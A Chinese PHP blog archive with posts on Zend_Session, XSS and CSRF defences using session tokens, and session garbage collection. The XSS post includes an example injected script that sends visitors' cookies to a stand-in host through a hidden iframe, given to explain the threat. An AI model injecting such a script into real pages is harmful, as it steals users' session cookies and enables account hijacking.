月度归档:2015年04月

Zend Framwork 1.x Zend_Session组件

Zend Framwork 1.x Zend_Session组件是对PHP SESSION操作的封装。这层封装总体来说还是相当不错的。对SESSION的操作用Zend_Session来操作,看例子:

		Zend_Session::setOptions(
			array(
				"strict"	=>"on",
				"name" 		=>"YaaSessionID"
			)
		);
		Zend_Session::start();
		$yaaAuth = new Zend_Session_Namespace('YaaAuth');
		
		if(!isset($yaaAuth->securityToken)) {
			$yaaAuth->securityToken = md5(uniqid(rand(),true));
		}

可以通过Zend_Session::setOptions()来设置SESSION的参数,这些个参数基本和php.ini中SESSION的参数想对应。实际这个配置数组也可以在Zend_Session::start()时传递,不过Zend_Session::start()可以接收布尔值表示是否使用strict模式。所谓的strict就是指要显示的调用Zend_Session::start(),表示显式启动会话。在new一个Zend_Session_Namespace时,在没有启用strict模式的情况下,它的内部会默认调用一次Zend_Session::start(),否则就是不调用(所以要主动调用Zend_Session::start())。

Zend_Session_Namespace基本是$_SESSION的映射,不过它提供了一个命名空间的管理方式,实际并没有多么的高深,虽然方便,但是这个封装显得有点笨重。从原理上看,每次new一个Zend_Session_Namespace后,对这个实例的操作都是映射到$_SESSION。

我们知道,SESSION默认存在文件系统中,也可以存储在其它介质中,这个是通过修改savehander来实现的。1.x版本中仅仅提供了数据库的实现。

在验证器上,提供了验证UA的实现。

在Zend Framework 2.x中,Zend_Session提供了一个更加完整封装。

永久链接:http://blog.ifeeline.com/1607.html

安全主题 之 XSS与CSRF

客户端和服务端的状态保存依靠客户端回传会话ID来保持,会话ID可以通过Cookie也可以通过在URL中附加会话ID来实现传递,如果会话ID被挟持,恶意攻击者(或脚本)就可以通过这个会话ID来伪造请求和服务器进行通信。

两种情况比较常见,一、传输过程中泄露了会话ID 二、XSS注入攻击和CSRF攻击。

对于传输过程中泄露问题,目前业界标准解决方案就是安全链接(HTTPS), 会话的Cookie可以配置成仅通过安全链接进行传输,在PHP中:

session.cookie_secure boolean
session.cookie_secure 指定是否仅通过安全连接发送 cookie。默认为 off。此设定是 PHP 4.0.4 添加的。参见 session_get_cookie_params() 和 session_set_cookie_params()。

会话被挟持的另一种情况是XSS注入攻击和CSRF攻击。
1 XSS
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

假如被注入了如下脚本:

(function(window, document) {
	var cookies = document.cookie;
	var xssBase = "http://xss.com/";
	var xssURI = xssBase + window.encodeURI(cookies);

	var hideFrame = document.createElement("iframe");
	hideFrame.height = 0;
	hideFrame.width = 0;
	hideFrame.style.display = "none";
	hideFrame.src = xssURI;
	
	document.body.appendChild(hideFrame);
})(window, document);

那么任何一个用户访问时,它的Cookie信息都被发送出去。虽然浏览器中脚本跨域做了限制,但是通过iframe把可以突破这个限制。

XSS还可以更加简单点,比如注入没有结束的HTML标签,可能会导致页面显示问题,或注入一段死循环的脚本。所以在编写程序时,一定要对数据进行有效过滤,特别的,对JS还可以嵌入到HTML标签的属性中,这个处理最为麻烦。

2 CSRF
CSRF全称是跨站请求伪造。一般可以把通过XSS实现的CSRF称为XSRF。CSRF关注点在伪造的请求。而XSS是跨站脚本,这个脚本可以发起伪造请求也可以做其它的操作,XSS关注点在注入。

假如用户C登录了网站A,在没有登出的情况下,它去访问了有恶意代码的网站B,那么这些恶意的代码就可以向网站A以用户C的身份发起攻击。比如恶意代码中包含了删除网站A相关信息的代码等,而这个用户C并不知情。恶意代码来自网站B,所以理论上它并不能获取到用户C在网站A的Cookie,但是它可以以用户C的身份访问网站A。

来自网站B的恶意代码可以非常容易伪造请求访问网站A,比如把请求链接嵌入img标签中,或者构建POST请求。恶意代码可能来自网站B被XSS注入,也可能是通过其它途径点击了某个带恶意代码的链接。为了避免网站A遭受攻击,除了使用验证码外,最通用的办法是加入会话安全码,处理请求时验证这个安全码,由于安全码是随机的,恶意代码事先并无法知晓,所以可以有效拦截这种类型的攻击。

//
Zend_Session::start();
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($token->securityToken)) {
	$token->securityToken = md5(uniqid(rand(),true));
}

//
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($_POST['securityToken']) || !isset($token->securityToken) || ($_POST['securityToken'] != $token->securityToken)) {

}

为了避免后台登录遭受CSRF攻击,通常都会插入一个Token,而且这个Token要求每次刷新登录页面时都不一样。 后台登录一般都会加入防止暴力破解的逻辑,一旦某个用户尝试密码次数超过限制,就会限制用户登录,如果不验证Token,一旦遭受CSRF攻击,原本正常的用户就会被限制。如果一个会话的Token都不改变,那么恶意代码可以加入这个Token,也可以发起无数次伪造请求,所以安全要求很高的后台登陆,就要求Token要随着每次登录请求而改变。

实际上,对于后台登录这样的表单,加入一个动态的Token还可以一定程度上增加暴力破解的难度。现象一下,如果没有加入动态Token也没有加入其它的防爆方法,那么在域外构建一个表单,就可以无数次的发起伪造请求进行嗅探,而且每个请求服务端都要开一个会话与之对应(只用一次),这样资源可能被大量占用。但是加入了Token就不一样了,如果你需要暴力破解,那么要先读取Token,由于Token仅仅保存在当前会话,所以还要把会话ID提取出来,之后构建表单,由于这个请求回传了会话ID,所以不会打开大量会话,发起这样的伪造请求难度加大。

当然了,后台登录加入动态Token并不是为了防暴力破解,要对付暴力破解,只要针对某个IP的请求,如果尝试了多次不成功则列入黑名单,黑名单中的IP在一段时间内被限制登录即可。当然,目前最通用常见的方法是,如果尝试了多次不成功,那么则要求输入验证吗,这个方式看起来是用户体验会好些。

永久链接:http://blog.ifeeline.com/1599.html

PHP SESSION 垃圾回收机制

PHP SESSION 垃圾回收机制涉及三个参数(在php.ini中设置):

session.gc_probability = 1
session.gc_divisor = 100
session.gc_maxlifetime = 1800

会话保存在服务器端,它的有效时间由session.gc_maxlifetime决定,比如会话A超过了1800秒不操作,那么这个会话就已经过期(属于垃圾),过程的会话不是一旦过期就会被清理的,它需要等待垃圾回收器执行。这里涉及到一个垃圾回收器触发的问题。PHP执行脚本完毕后就可以认为对应的进程退出,它不是长驻内存的,所以垃圾回收器的触发必定是在会话启动时去触发,但是如果每次会话都启动垃圾回收清扫一遍垃圾,显然很不现实。这就是session.gc_probability和session.gc_divisor的作用。

简单来说,session.gc_probability和session.gc_divisor决定了在每次启动会话时,垃圾回收器可能被触发的概率。计算公式是:session.gc_probability/session.gc_divisor,对以上参数的配置,这个概率是百分之一。换个通俗的说法就是每次会话开始(session_start())时,垃圾回收器有百分之一的概率被触发,一旦触发,那些过期的会话(文件等)就会被清理。

从原理上,垃圾回收器触发后,扫描一遍会话文件(假设会话使用文件存储),对每个扫描的文件,判断它是否过期,如果过期就删除。所以,如果会话很多,而且垃圾回收器被触发的概率又很大,那么产生的IO就会上升,甚至影响到系统性能。最简单的办法是调大session.gc_divisor值,这样垃圾回收器被触发的概率就会变小,如果把会话保存在共享内存中,则可以适当调大回收器被触发的概率,因为内存的读写速度比硬盘自然快很多。

另外,session.cookie_lifetime的设置实际跟SESSION的在服务端的保存没有关系。在SESSION和客户端使用cookie进行交互时,它的设置影响到这个cookie的生存时间,如果设置为0,说明浏览器关闭时,这个cookie被删除,但是这个cookie关系的SESSION是否被清理和它没有关系。

在session.cookie_lifetime设置为0的情况下,如果浏览器不退出,你可能碰到登录了很久,但是都不超时的情况。这个情况可能是,一,访问量少;二,垃圾回收器触发概率太小;使得垃圾回收器没有被触发过。如果要严格进行超时控制,单纯依靠PHP的SESSION机制是不行的,我们可以在登录时,把登录的时间记录一下,第二次操作这个会话时,判断一下是否超时,超时就直接清空会话,定位到登录页。

永久链接:http://blog.ifeeline.com/1596.html